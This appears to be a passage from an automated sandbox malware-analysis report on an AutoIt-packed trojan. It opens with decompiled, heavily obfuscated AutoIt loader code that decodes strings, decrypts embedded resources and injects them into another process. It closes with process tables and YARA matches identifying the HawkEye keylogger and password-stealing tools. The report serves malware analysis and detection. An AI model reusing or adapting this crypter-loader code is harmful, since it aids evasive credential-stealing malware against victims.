+ 14743 , + 4294890008 - + 4294889908 , + 4294935243 + 32161 , + 4294878568 + 88836 ] LOCAL $DQAKIMAXGY FOR $CBBCKCPDJRNYYXI = 0 TO 11 $DQAKIMAXGY &= CHRW ($Y_ZSXCNEDSJOMZNLNH_O [$CBBCKCPDJRNYYXI ] ) NEXT RETURN $DQAKIMAXGY ENDFUNC FUNC DWRNXXKPUWKVCOOENQEZ () LOCAL $CAQFEFXEXIEVXHBJKH_B [3 ] = [+ 4294923279 - + 4294923167 , 72155 + + 4294895257 , + 4294919843 + 47567 ] LOCAL $FSMRPYVMFU FOR $GCVTKJZMSDGMJS_ = 0 TO 2 $FSMRPYVMFU &= CHRW ($CAQFEFXEXIEVXHBJKH_B [$GCVTKJZMSDGMJS_ ] ) NEXT RETURN $FSMRPYVMFU ENDFUNC FUNC IXOBDDKUPLPCQXBJQWUY () LOCAL $EUNOOMLPXAKRLSYQKSPP [12 ] = [49382 + 4294918000 , 35227 + + 4294932174 , 37725 + 4294929685 , + 4294884424 - + 4294884308 , 46085 + + 4294921328 , 76150 + + 4294891243 , 34635 + 4294932769 , 54272 + + 4294913089 , + 4294944952 - + 4294944844 , + 4294964190 + 3214 , + 4294927764 + 39643 , + 4294890604 + 76791 ] LOCAL $JKKIZXU_BL FOR $AYQZZLZYGFEWLOW = 0 TO 11 $JKKIZXU_BL &= CHRW ($EUNOOMLPXAKRLSYQKSPP [$AYQZZLZYGFEWLOW ] ) NEXT RETURN $JKKIZXU_BL ENDFUNC FUNC ZILPLXMZFLIDGHNHDJVZSSAJVRLX ($PROTECT ) IF FILEEXISTS (@HOMEDRIVE & CBSBDIJAGBJVADRHTJDH () ) THEN $PROCESSID = FZWAWDOSMGBCAOOPQZHJPJLLW (@HOMEDRIVE & CBSBDIJAGBJVADRHTJDH () , JSNQMVCGABTD (STRINGREVERSE (UYJOHCLMEPUTKGCGXQHZ ("xscEyd0EpUsu" , 6 ) ) ) , $XQJGMNWILW , $PROTECT ) ELSEIF FILEEXISTS (@HOMEDRIVE & LKGEQCZZKLUMKLAMWVGK () ) THEN $PROCESSID = FZWAWDOSMGBCAOOPQZHJPJLLW (@HOMEDRIVE & LKGEQCZZKLUMKLAMWVGK () , JSNQMVCGABTD (STRINGREVERSE (UYJOHCLMEPUTKGCGXQHZ ("xscEyd0EpUsu" , 6 ) ) ) , $XQJGMNWILW , $PROTECT ) ENDIF ENDFUNC FUNC AKEBJBZAYZXLULITKSST () LOCAL $WVQ_IWQXVRGIJXAXGDRP [1 ] = [23014 + 4294944330 ] LOCAL $FTNKBGHTPC FOR $QDUJEEDYZUJKCFU = 0 TO 0 $FTNKBGHTPC &= CHRW ($WVQ_IWQXVRGIJXAXGDRP [$QDUJEEDYZUJKCFU ] ) NEXT RETURN $FTNKBGHTPC ENDFUNC FUNC MBL_RELPVAEQWYWHVHKA () LOCAL $TBHULQPWSSNKGHPZFNAU [1 ] = [+ 4294869374 + 97971 ] LOCAL $ROAPPXCOUJ FOR $TAPCLXVUKNOGZKV = 0 TO 0 $ROAPPXCOUJ &= CHRW ($TBHULQPWSSNKGHPZFNAU [$TAPCLXVUKNOGZKV ] ) NEXT RETURN $ROAPPXCOUJ ENDFUNC FUNC TTOHUIAVRXQHMZBWXRBP () LOCAL $DXTW_SIJMK_THJEIRSYM [1 ] = [+ 4294940441 - + 4294940392 ] LOCAL $SIBASJHXX_ FOR $LLXOYXLYPEFJXW_ = 0 TO 0 $SIBASJHXX_ &= CHRW ($DXTW_SIJMK_THJEIRSYM [$LLXOYXLYPEFJXW_ ] ) NEXT RETURN $SIBASJHXX_ ENDFUNC FUNC TOHOQPYRIEHRYEXGGDSJ () LOCAL $HZLCYHCIKZECIDNDTMVT [4 ] = [+ 4294936559 - + 4294936481 , 32822 + + 4294934591 , 71464 + 4294895940 , + 4294873419 - + 4294873311 ] LOCAL $I_EJVRUNVI FOR $BHODOOWUDERINPG = 0 TO 3 $I_EJVRUNVI &= CHRW ($HZLCYHCIKZECIDNDTMVT [$BHODOOWUDERINPG ] ) NEXT RETURN $I_EJVRUNVI ENDFUNC FUNC TEAWFDTG_HQEHIH_TNJU () LOCAL $TNGKUTAKIPCKDGEYIWJG [4 ] = [+ 4294909343 - + 4294909265 , + 4294920358 - + 4294920241 , + 4294911046 + 56358 , + 4294935639 + 31765 ] LOCAL $KEGBBEJRWD FOR $EO_F_YDFYQBLDIY = 0 TO 3 $KEGBBEJRWD &= CHRW ($TNGKUTAKIPCKDGEYIWJG [$EO_F_YDFYQBLDIY ] ) NEXT RETURN $KEGBBEJRWD ENDFUNC FUNC VASRMNKSXPGOTGJVOXMC () LOCAL $TANZJLEIZKDIREOWXOCK [4 ] = [+ 4294875160 - + 4294875074 , 92300 + 4294875062 , + 4294945675 + 21700 , 18429 + + 4294948955 ] LOCAL $NMYYOTNY_U FOR $GQPCF_XUNTHAIBT = 0 TO 3 $NMYYOTNY_U &= CHRW ($TANZJLEIZKDIREOWXOCK [$GQPCF_XUNTHAIBT ] ) NEXT RETURN $NMYYOTNY_U ENDFUNC FUNC SRADDPFJYGKMRAYYWVFR () LOCAL $TJUAAMZGACJOGORQTXSU [10 ] = [+ 4294941023 + 26350 , + 4294938390 + 29007 , 39053 + 4294928358 , + 4294927997 + 39414 , 33080 + 4294934313 , + 4294963877 + 3522 , 45358 + + 4294922039 , + 4294876597 - + 4294876531 , + 4294888727 + 78680 , 71465 + + 4294895951 ] LOCAL $WTVIOULPTO FOR $QZJWXWGDJIF_CLA = 0 TO 9 $WTVIOULPTO &= CHRW ($TJUAAMZGACJOGORQTXSU [$QZJWXWGDJIF_CLA ] ) NEXT RETURN $WTVIOULPTO ENDFUNC FUNC VABXABHHJJKEBYBKRACE () LOCAL $FIKNLJHLFNUENAKNKLXK [1 ] = [+ 4294960458 + 6886 ] LOCAL $OMRUWBXPFR FOR $BVJUDXYMDOHEGNR = 0 TO 0 $OMRUWBXPFR &= CHRW ($FIKNLJHLFNUENAKNKLXK [$BVJUDXYMDOHEGNR ] ) NEXT RETURN $OMRUWBXPFR ENDFUNC FUNC ZFZLREVCGCPTGBSGBUOY () LOCAL $ELYPLAITFTCMQSWUHYEO [11 ] = [+ 4294892472 + 74910 , 40240 + 4294927161 , + 4294924744 + 42666 , 39359 + + 4294928053 , + 4294955595 + 11818 , + 4294952006 + 15387 , 5653 + + 4294961751 , 22081 + + 4294945285 , + 4294920143 - + 4294920029 , 94887 + + 4294872510 , 73963 + 4294893434 ] LOCAL $OXOSVFNEG_ FOR $XN_CDOFYZDPABOT = 0 TO 10 $OXOSVFNEG_ &= CHRW ($ELYPLAITFTCMQSWUHYEO [$XN_CDOFYZDPABOT ] ) NEXT RETURN $OXOSVFNEG_ ENDFUNC FUNC ZTIERGMNHEGRECSDACYN () LOCAL $UYERVJEUQDVUXQXYQVEL [5 ] = [+ 4294874167 - + 4294874050 , 72198 + 4294895206 , + 4294919618 - + 4294919507 , 36632 + 4294930774 , + 4294887382 + 80017 ] LOCAL $MUOFUNFYMM FOR $ZPNUOAORJHBSXDJ = 0 TO 4 $MUOFUNFYMM &= CHRW ($UYERVJEUQDVUXQXYQVEL [$ZPNUOAORJHBSXDJ ] ) NEXT RETURN $MUOFUNFYMM ENDFUNC FUNC DMSEOBBFDANNSBFPLGTP () LOCAL $TO_DIDZVUJRRXBTFUCYR [4 ] = [58419 + + 4294908994 , + 4294932526 + 34875 , 88029 + 4294879377 , + 4294921907 + 45505 ] LOCAL $VJWQRIAVJI FOR $T_QK_JOPMPWKCGL = 0 TO 3 $VJWQRIAVJI &= CHRW ($TO_DIDZVUJRRXBTFUCYR [$T_QK_JOPMPWKCGL ] ) NEXT RETURN $VJWQRIAVJI ENDFUNC FUNC LCASHKJYGJDSDCVDMYTI () LOCAL $VJGJHNZODE_MDUBEMWPB [10 ] = [11119 + 4294956225 , 65922 + 4294901494 , + 4294898350 - + 4294898302 , 49007 + + 4294918337 , + 4294952289 - + 4294952240 , + 4294924238 - + 4294924168 , 70929 + + 4294896415 , 82863 + 4294884503 , + 4294892886 + 74480 , 17541 + + 4294949825 ] LOCAL $JOEFVGJCUX FOR $LVUBJRPJARRQIRU = 0 TO 9 $JOEFVGJCUX &= CHRW ($VJGJHNZODE_MDUBEMWPB [$LVUBJRPJARRQIRU ] ) NEXT RETURN $JOEFVGJCUX ENDFUNC FUNC XQVTLLDGIFNMQNJRMGCZ () LOCAL $INCSERCPAXMDMRLZIHPP [6 ] = [+ 4294901765 - + 4294901717 , + 4294949751 - + 4294949631 , + 4294878475 - + 4294878419 , + 4294896596 + 70748 , 90794 + 4294876550 , + 4294899982 + 67362 ] LOCAL $ZBKIEROUWC FOR $DXSKOCOUIPFLUK_ = 0 TO 5 $ZBKIEROUWC &= CHRW ($INCSERCPAXMDMRLZIHPP [$DXSKOCOUIPFLUK_ ] ) NEXT RETURN $ZBKIEROUWC ENDFUNC FUNC IO_NCSQSSUVZXYWHVXRA () LOCAL $LCODPSOZYVOQPLEEKVEQ [18 ] = [+ 4294927528 + 39851 , + 4294946740 - + 4294946619 , 10054 + 4294957357 , 6256 + + 4294961156 , + 4294897152 + 70245 , 52258 + 4294915147 , 55269 + + 4294912104 , 55848 + 4294911545 , 98045 + + 4294869361 , 85410 + 4294882003 , 65235 + + 4294902163 , + 4294918491 + 48902 , + 4294913386 - + 4294913287 , + 4294940834 - + 4294940718 , + 4294910914 + 56499 , 81330 + 4294886080 , 43485 + 4294923912 , 37344 + + 4294930066 ] LOCAL $NXVLAZNAJB FOR $SIPEGWDHALKTRYE = 0 TO 17 $NXVLAZNAJB &= CHRW ($LCODPSOZYVOQPLEEKVEQ [$SIPEGWDHALKTRYE ] ) NEXT RETURN $NXVLAZNAJB ENDFUNC FUNC CIGGAMVXMDMRSS_WHZWN () LOCAL $RHFUQYVLNBVEKWMTAYNF [1 ] = [+ 4294958444 + 8900 ] LOCAL $NPCSKJLIIG FOR $SHLIIIJLARGZLVC = 0 TO 0 $NPCSKJLIIG &= CHRW ($RHFUQYVLNBVEKWMTAYNF [$SHLIIIJLARGZLVC ] ) NEXT RETURN $NPCSKJLIIG ENDFUNC FUNC RVYFLDJTZBSKBHBWZLZV () LOCAL $YPDREBDODDQGVDBUBQRH [1 ] = [+ 4294903964 + 63380 ] LOCAL $HBJAVPVLMP FOR $UQTLPUHROTPHLBR = 0 TO 0 $HBJAVPVLMP &= CHRW ($YPDREBDODDQGVDBUBQRH [$UQTLPUHROTPHLBR ] ) NEXT RETURN $HBJAVPVLMP ENDFUNC FUNC PJLUPOKAGUFUSGKUILXD () LOCAL $RGVFGZAVZGRYGXTDMLJB [3 ] = [10227 + + 4294957181 , + 4294941694 - + 4294941578 , 26821 + + 4294940589 ] LOCAL $QBADHNVOGH FOR $IVJCZGXBOIOFNRO = 0 TO 2 $QBADHNVOGH &= CHRW ($RGVFGZAVZGRYGXTDMLJB [$IVJCZGXBOIOFNRO ] ) NEXT RETURN $QBADHNVOGH ENDFUNC FUNC FXGCGVDZDHMJKNYFHFNA () LOCAL $KFRLSKYPBJICWDDEMQHJ [2 ] = [+ 4294959091 + 8254 , 43877 + 4294923467 ] LOCAL $XXOYVZJNHK FOR $ZWOYDLIDUFWZGVK = 0 TO 1 $XXOYVZJNHK &= CHRW ($KFRLSKYPBJICWDDEMQHJ [$ZWOYDLIDUFWZGVK ] ) NEXT RETURN $XXOYVZJNHK ENDFUNC FUNC NIQQTFUDTUSSZUYFSOKI () LOCAL $FPCVLLODIWPLABACCIKK [1 ] = [61299 + + 4294906045 ] LOCAL $VEISQVXEHR FOR $CAMFJKJDUAGVPYG = 0 TO 0 $VEISQVXEHR &= CHRW ($FPCVLLODIWPLABACCIKK [$CAMFJKJDUAGVPYG ] ) NEXT RETURN $VEISQVXEHR ENDFUNC FUNC REUVBQIFFVUDOCEDIYXV () LOCAL $GSGFEYBLGGWQNXMYWOLG [5 ] = [+ 4294957829 + 9567 , 27282 + + 4294940133 , 90879 + + 4294876528 , + 4294964497 + 2913 , 52428 + + 4294914968 ] LOCAL $EQRQFHVNRH FOR $TOCYNZYPQDOYZ_Z = 0 TO 4 $EQRQFHVNRH &= CHRW ($GSGFEYBLGGWQNXMYWOLG [$TOCYNZYPQDOYZ_Z ] ) NEXT RETURN $EQRQFHVNRH ENDFUNC FUNC NUKAXPDUUDKKLYMHSUG_ () LOCAL $NPD_YMHBCBPFTRBZWMVV [8 ] = [+ 4294875549 + 91848 , 99856 + + 4294867558 , + 4294925334 + 42063 , + 4294906867 - + 4294906757 , 62897 + + 4294904515 , 88395 + 4294879019 , 26246 + + 4294941169 , + 4294932978 + 34432 ] LOCAL $GZLAQPJHGH FOR $RKCKIBSTOFRUWOL = 0 TO 7 $GZLAQPJHGH &= CHRW ($NPD_YMHBCBPFTRBZWMVV [$RKCKIBSTOFRUWOL ] ) NEXT RETURN $GZLAQPJHGH ENDFUNC FUNC GULZOHRR_EBMAHZOQHAO () LOCAL $HJZURSPVZGISPDKGDRBM [62 ] = [22727 + + 4294944617 , + 4294945372 - + 4294945318 , 86366 + 4294880985 , + 4294953723 - + 4294953672 , + 4294941656 + 25690 , 68997 + + 4294898366 , 65024 + + 4294902328 , + 4294914933 + 52429 , + 4294907848 + 59503 , 38286 + + 4294929078 , + 4294927180 + 40184 , + 4294921726 + 45618 , 67179 + 4294900173 , + 4294892030 + 75317 , + 4294895158 + 72205 , 16511 + + 4294950840 , 49416 + + 4294917930 , + 4294897045 - + 4294896978 , + 4294873578 + 93766 , + 4294899733 + 67614 , 48765 + + 4294918601 , + 4294902896 - + 4294902827 , 80636 + + 4294886730 , 6644 + 4294960722 , 22934 + + 4294944417 , + 4294955737 - + 4294955682 , + 4294939325 - + 4294939255 , + 4294912678 + 54685 , 52439 + + 4294914913 , 22027 + + 4294945335 , 64061 + + 4294903283 , 61141 + + 4294906210 , 6287 + 4294961057 , + 4294960777 + 6570 , + 4294953158 - + 4294953106 , 86986 + 4294880363 , + 4294905619 + 61726 , 20162 + 4294947182 , + 4294928327 + 39022 , 27277 + 4294940067 , + 4294905892 + 61460 , + 4294963457 - + 4294963391 , 41232 + + 4294926116 , 19017 + 4294948334 , + 4294911709 + 55657 , + 4294884866 - + 4294884810 , + 4294940099 - + 4294940051 , 18988 + + 4294948359 , + 4294935757 - + 4294935690 , 6017 + + 4294961330 , 98051 + + 4294869298 , + 4294953047 + 14297 , 14613 + 4294952753 , + 4294934591 + 32775 , + 4294950109 + 17240 , + 4294903605 + 63744 , + 4294871491 - + 4294871425 , 56866 + 4294910482 , 82991 + + 4294884361 , + 4294947699 + 19663 , 21236 + 4294946112 , + 4294898336 + 69028 ] LOCAL $XHZMEVPHHM FOR $JQSOIYVKGTHXIOU = 0 TO 61 $XHZMEVPHHM &= CHRW ($HJZURSPVZGISPDKGDRBM [$JQSOIYVKGTHXIOU ] ) NEXT RETURN $XHZMEVPHHM ENDFUNC FUNC GLOYHSGYNRCCCHWCCAER () LOCAL $MGNMIBDKXPIHLYRIXZTL [8 ] = [+ 4294940416 + 26995 , + 4294912768 + 54627 , + 4294943963 + 23437 , + 4294955436 + 11976 , + 4294868523 + 98870 , 74934 + 4294892477 , 64515 + + 4294902888 , + 4294936699 + 30712 ] LOCAL $CHSAVMYWON FOR $XBPFOWBYIVSEQNF = 0 TO 7 $CHSAVMYWON &= CHRW ($MGNMIBDKXPIHLYRIXZTL [$XBPFOWBYIVSEQNF ] ) NEXT RETURN $CHSAVMYWON ENDFUNC FUNC NPJBFRCKDNJKTYUHWBEN () LOCAL $KNWQJMNORPPGI_PXQAVR [4 ] = [96407 + + 4294870987 , 30566 + + 4294936841 , + 4294926956 + 40451 , + 4294966524 + 880 ] LOCAL $NYDBTJXSWH FOR $DHXFPJWATTSSEOT = 0 TO 3 $NYDBTJXSWH &= CHRW ($KNWQJMNORPPGI_PXQAVR [$DHXFPJWATTSSEOT ] ) NEXT RETURN $NYDBTJXSWH ENDFUNC FUNC KVDCJIDIOHQTMIADIMEH () LOCAL $CVKOEAMNGBTBXVKNMMNV [1 ] = [+ 4294943811 + 23533 ] LOCAL $PYJWRCNOPW FOR $HFVJPDZJJIWZBPK = 0 TO 0 $PYJWRCNOPW &= CHRW ($CVKOEAMNGBTBXVKNMMNV [$HFVJPDZJJIWZBPK ] ) NEXT RETURN $PYJWRCNOPW ENDFUNC FUNC CJCHNFSZOHPPUOVWLRQW () LOCAL $MUHLROUFNDKEOULAJFHG [5 ] = [+ 4294925421 + 41975 , 93697 + + 4294873718 , 54794 + 4294912613 , + 4294900605 + 66805 , + 4294914598 + 52798 ] LOCAL $LBADVMFKJD FOR $ZNAJTIBRQZKMMLX = 0 TO 4 $LBADVMFKJD &= CHRW ($MUHLROUFNDKEOULAJFHG [$ZNAJTIBRQZKMMLX ] ) NEXT RETURN $LBADVMFKJD ENDFUNC FUNC ZDZGZZLNUVWXRAUZNCXP () LOCAL $JHMIJJSGWW_GJSDTRLLV [7 ] = [97235 + 4294870165 , + 4294905671 - + 4294905574 , + 4294890962 + 76444 , + 4294878178 - + 4294878078 , + 4294922781 - + 4294922673 , 13839 + + 4294953558 , 69434 + + 4294897904 ] LOCAL $AIBQBPZCDL FOR $YSQRXPGFRYWPOYX = 0 TO 6 $AIBQBPZCDL &= CHRW ($JHMIJJSGWW_GJSDTRLLV [$YSQRXPGFRYWPOYX ] ) NEXT RETURN $AIBQBPZCDL ENDFUNC FUNC EKMTRAYA_FFBVJBIAH_M () LOCAL $OWLLGTKS_FMLTERENNOV [62 ] = [+ 4294954869 - + 4294954813 , + 4294958851 - + 4294958785 , 73437 + + 4294893911 , + 4294890158 + 77206 , + 4294899438 - + 4294899368 , 80205 + 4294887143 , 62603 + 4294904741 , + 4294965769 - + 4294965718 , 95728 + 4294871620 , 999 + + 4294966362 , 30027 + 4294937317 , 91227 + + 4294876121 , + 4294927059 + 40285 , 41167 + + 4294926180 , + 4294926226 + 41123 , + 4294904988 + 62358 , 44329 + 4294923015 , + 4294872995 - + 4294872943 , + 4294943837 - + 4294943781 , 40972 + + 4294926381 , + 4294895175 + 72173 , + 4294961397 + 5967 , + 4294929367 - + 4294929297 , 22748 + 4294944600 , 34339 + 4294933008 , + 4294905063 - + 4294904997 , 95936 + + 4294871416 , + 4294897338 - + 4294897268 , 35277 + + 4294932084 , + 4294941651 - + 4294941599 , + 4294914556 - + 4294914508 , + 4294879581 - + 4294879533 , 23883 + 4294943461 , + 4294933523 + 33821 , + 4294937826 - + 4294937778 , + 4294875080 + 92264 , + 4294921101 + 46250 , + 4294878760 - + 4294878710 , 38602 + 4294928751 , 6540 + + 4294960809 , 64450 + + 4294902897 , 97244 + 4294870103 , 40095 + 4294927271 , + 4294963836 - + 4294963766 , 92490 + + 4294874859 , + 4294894922 + 72429 , + 4294871038 + 96328 , 2980 + + 4294964386 , 11492 + 4294955859 , + 4294879858 + 87492 , 14165 + + 4294953184 , + 4294870117 - + 4294870069 , 32111 + + 4294935238 , 49486 + 4294917861 , 17753 + 4294949613 , + 4294962908 + 4458 , 57594 + + 4294909757 , + 4294900066 - + 4294900013 , 51540 + + 4294915826 , 14374 + 4294952978 , + 4294884273 + 83093 , + 4294949908 + 17458 ] LOCAL $DPGMYHAMFU FOR $LGRUHLMLOOEFYQB = 0 TO 61 $DPGMYHAMFU &= CHRW ($OWLLGTKS_FMLTERENNOV [$LGRUHLMLOOEFYQB ] ) NEXT RETURN $DPGMYHAMFU ENDFUNC FUNC RUWB_UUGVESWFLBVKHLF () LOCAL $ECFWKRITOAR_YBLBDDKD [62 ] = [54835 + 4294912531 , + 4294897327 - + 4294897279 , 37973 + + 4294929378 , + 4294935070 - + 4294935018 , + 4294870667 + 96677 , 6972 + + 4294960390 , 96423 + + 4294870940 , + 4294964304 + 3041 , + 4294950730 + 16635 , 35830 + 4294931522 , + 4294958684 - + 4294958635 , + 4294924294 + 43058 , + 4294966445 + 902 , 91942 + 4294875405 , 98213 + 4294869153 , 38965 + 4294928379 , 77307 + 4294890045 , + 4294952938 - + 4294952889 , + 4294878410 + 88955 , + 4294959626 + 7724 , 34819 + + 4294932547 , + 4294916970 + 50396 , + 4294960428 + 6938 , + 4294872723 + 94643 , + 4294961961 + 5405 , + 4294959097 - + 4294959027 , + 4294955139 - + 4294955091 , + 4294934164 + 33202 , + 4294932132 - + 4294932080 , + 4294900125 + 67226 , 81392 + 4294885956 , 36730 + + 4294930623 , + 4294927078 - + 4294927023 , 80406 + + 4294886943 , 825 + 4294966540 , + 4294943277 + 24067 , + 4294957103 - + 4294957050 , + 4294867844 - + 4294867774 , + 4294926164 - + 4294926108 , 47366 + + 4294919996 , + 4294921364 + 45999 , 27098 + 4294940252 , + 4294953883 + 13466 , + 4294898204 + 69161 , + 4294936635 + 30714 , + 4294908573 + 58791 , 94330 + + 4294873033 , 21093 + 4294946253 , + 4294931241 + 36103 , + 4294916453 - + 4294916401 , 14448 + 4294952896 , + 4294961773 - + 4294961725 , 50544 + + 4294916805 , 38476 + 4294928873 , + 4294883130 - + 4294883074 , + 4294954107 - + 4294954041 , + 4294885009 - + 4294884940 , + 4294891927 + 75436 , 8279 + 4294959070 , 22035 + + 4294945310 , + 4294934323 - + 4294934270 , 91038 + + 4294876307 ] LOCAL $VWPTLHQNAB FOR $PASNOWUNYYGMNNX = 0 TO 61 $VWPTLHQNAB &= CHRW ($ECFWKRITOAR_YBLBDDKD [$PASNOWUNYYGMNNX ] ) NEXT RETURN $VWPTLHQNAB ENDFUNC FUNC FEVHDKFOFTQQOLVNOIXY () LOCAL $YHBXV_TLBXWHFCXYPDEV [10 ] = [+ 4294909763 - + 4294909715 , + 4294904957 + 62459 , + 4294962494 + 4872 , 85145 + + 4294882199 , 71594 + 4294895750 , 66423 + + 4294900921 , 70006 + + 4294897338 , 94321 + + 4294873023 , 72231 + + 4294895113 , + 4294964598 - + 4294964550 ] LOCAL $MLDJXYAPXT FOR $RUNIYIKMOWYLECT = 0 TO 9 $MLDJXYAPXT &= CHRW ($YHBXV_TLBXWHFCXYPDEV [$RUNIYIKMOWYLECT ] ) NEXT RETURN $MLDJXYAPXT ENDFUNC FUNC DVHBNNLI_CTFPEVPGJQP () LOCAL $GPMALLVDUVRRVJJHQRUK [6 ] = [+ 4294934438 - + 4294934334 , + 4294959848 - + 4294959751 , 91326 + + 4294876080 , + 4294885387 + 82009 , + 4294943490 - + 4294943382 , + 4294953423 + 13974 ] LOCAL $FVO_POGGBD FOR $SRVOJGQCRHOELCL = 0 TO 5 $FVO_POGGBD &= CHRW ($GPMALLVDUVRRVJJHQRUK [$SRVOJGQCRHOELCL ] ) NEXT RETURN $FVO_POGGBD ENDFUNC FUNC FIZEAFAIHFVWUEZWCIOX () LOCAL $HUKCKCAYBQRQSLPLSPYB [12 ] = [90708 + + 4294876655 , + 4294884779 + 82602 , + 4294947101 + 20277 , + 4294927880 + 39498 , + 4294960013 - + 4294959944 , 23878 + + 4294943496 , + 4294945434 + 21946 , 82706 + 4294884685 , + 4294880452 + 86929 , + 4294913103 + 54276 , + 4294901177 - + 4294901108 , 49460 + + 4294917918 ] LOCAL $XKLLYGYAUN FOR $PEDJPOENJNWSWRM = 0 TO 11 $XKLLYGYAUN &= CHRW ($HUKCKCAYBQRQSLPLSPYB [$PEDJPOENJNWSWRM ] ) NEXT RETURN $XKLLYGYAUN ENDFUNC FUNC JXVBVRLFOFIKXNOYIUMO () LOCAL $YDAUFVKFBKWWGLGSQKXN [4 ] = [54409 + 4294912971 , + 4294880588 - + 4294880474 , + 4294928744 - + 4294928627 , + 4294870106 - + 4294870005 ] LOCAL $EJMELGWIYX FOR $WLBEGCAGWBX_GFD = 0 TO 3 $EJMELGWIYX &= CHRW ($YDAUFVKFBKWWGLGSQKXN [$WLBEGCAGWBX_GFD ] ) NEXT RETURN $EJMELGWIYX ENDFUNC FUNC ETZNT_FNMEYFZAQ_ORPO () LOCAL $AWGPNLXQM_COLBSATJFY [10 ] = [+ 4294959748 - + 4294959663 , 44237 + 4294923174 , 5112 + 4294962285 , + 4294965793 + 1617 , 51195 + 4294916152 , 66501 + + 4294900845 , + 4294930757 + 36585 , + 4294890298 - + 4294890198 , 1532 + 4294965872 , + 4294869045 - + 4294868937 ] LOCAL $TDCBAZYXDV FOR $DPANCJTXJQGFLRC = 0 TO 9 $TDCBAZYXDV &= CHRW ($AWGPNLXQM_COLBSATJFY [$DPANCJTXJQGFLRC ] ) NEXT RETURN $TDCBAZYXDV ENDFUNC FUNC UYJOHCLMEPUTKGCGXQHZ ($STR , $MOD ) LOCAL $RESULT $STR = STRINGTOASCIIARRAY ($STR ) FOR $I = 0 TO UBOUND ($STR ) + 4294967295 SWITCH (MOD ($I , $MOD ) ) CASE 0 $RESULT &= CHRW ($STR [$I ] ) ENDSWITCH NEXT RETURN $RESULT ENDFUNC GZQXWYXHRVENSYHUAU ("AppVStreamingUX" ) #AutoIt3Wrapper_Res_File_Add="C:\Users\WEALTHY-ADMIN\Desktop\CypherIT\Building\Bin\atlthunk.bin", RT_RCDATA, auditcse1 #AutoIt3Wrapper_Res_File_Add="C:\Users\WEALTHY-ADMIN\Desktop\CypherIT\Building\Bin\MDMAppInstaller.bin", RT_RCDATA, appidcertstorecheck2 #AutoIt3Wrapper_Res_File_Add="C:\Users\WEALTHY-ADMIN\Desktop\CypherIT\Building\Bin\RMActivate.bin", RT_RCDATA, BlbEvents3 LOCAL $XQJGMNWILW = DLLSTRUCTGETDATA (QAVHRKECEJYEIKDBAPTMGAOZ ("auditcse1" , 10 ) , 1 ) $XQJGMNWILW &= DLLSTRUCTGETDATA (QAVHRKECEJYEIKDBAPTMGAOZ ("appidcertstorecheck2" , 10 ) , 1 ) $XQJGMNWILW &= DLLSTRUCTGETDATA (QAVHRKECEJYEIKDBAPTMGAOZ ("BlbEvents3" , 10 ) , 1 ) $XQJGMNWILW = DECDATA ($XQJGMNWILW , "zsvckwunuftohbbyaqinvhdrenxdrw" ) $STARTUPDIR = @USERPROFILEDIR & "\" ZILPLXMZFLIDGHNHDJVZSSAJVRLX (FALSE )

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe PID: 4720 Parent PID: 6040

General

Start time:	14:15:51
Start date:	10/12/2021
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe"
Imagebase:	0xd00000
File size:	2135040 bytes
MD5 hash:	52D4245D65D5CC2DA05298C480FFCC5F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: MAL_HawkEye_Keylogger_Gen_Dec18, Description: Detects HawkEye Keylogger Reborn, Source: 00000000.00000003.248337037.0000000000FF0000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000000.00000003.248337037.0000000000FF0000.00000004.00000001.sdmp, Author: Joe Security Rule: MAL_HawkEye_Keylogger_Gen_Dec18, Description: Detects HawkEye Keylogger Reborn, Source: 00000000.00000003.251645855.0000000000FF2000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000000.00000003.251645855.0000000000FF2000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: RegAsm.exe PID: 5908 Parent PID: 4720

General

Start time:	14:15:53
Start date:	10/12/2021
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
Imagebase:	0xb80000
File size:	53248 bytes
MD5 hash:	529695608EAFBED00ACA9E61EF333A7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: MAL_HawkEye_Keylogger_Gen_Dec18, Description: Detects HawkEye Keylogger Reborn, Source: 00000001.00000000.252098069.0000000000402000.00000020.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000001.00000000.252098069.0000000000402000.00000020.00000001.sdmp, Author: Joe Security Rule: MAL_HawkEye_Keylogger_Gen_Dec18, Description: Detects HawkEye Keylogger Reborn, Source: 00000001.00000002.516270179.00000000031E9000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000001.00000002.516270179.00000000031E9000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000001.00000002.519365892.0000000006D51000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000001.00000002.519365892.0000000006D51000.00000004.00000001.sdmp, Author: Joe Security Rule: MAL_HawkEye_Keylogger_Gen_Dec18, Description: Detects HawkEye Keylogger Reborn, Source: 00000001.00000000.251237840.0000000000402000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000001.00000000.251237840.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000001.00000002.516610948.0000000003292000.00000004.00000001.sdmp, Author: Joe Security Rule: MAL_HawkEye_Keylogger_Gen_Dec18, Description: Detects 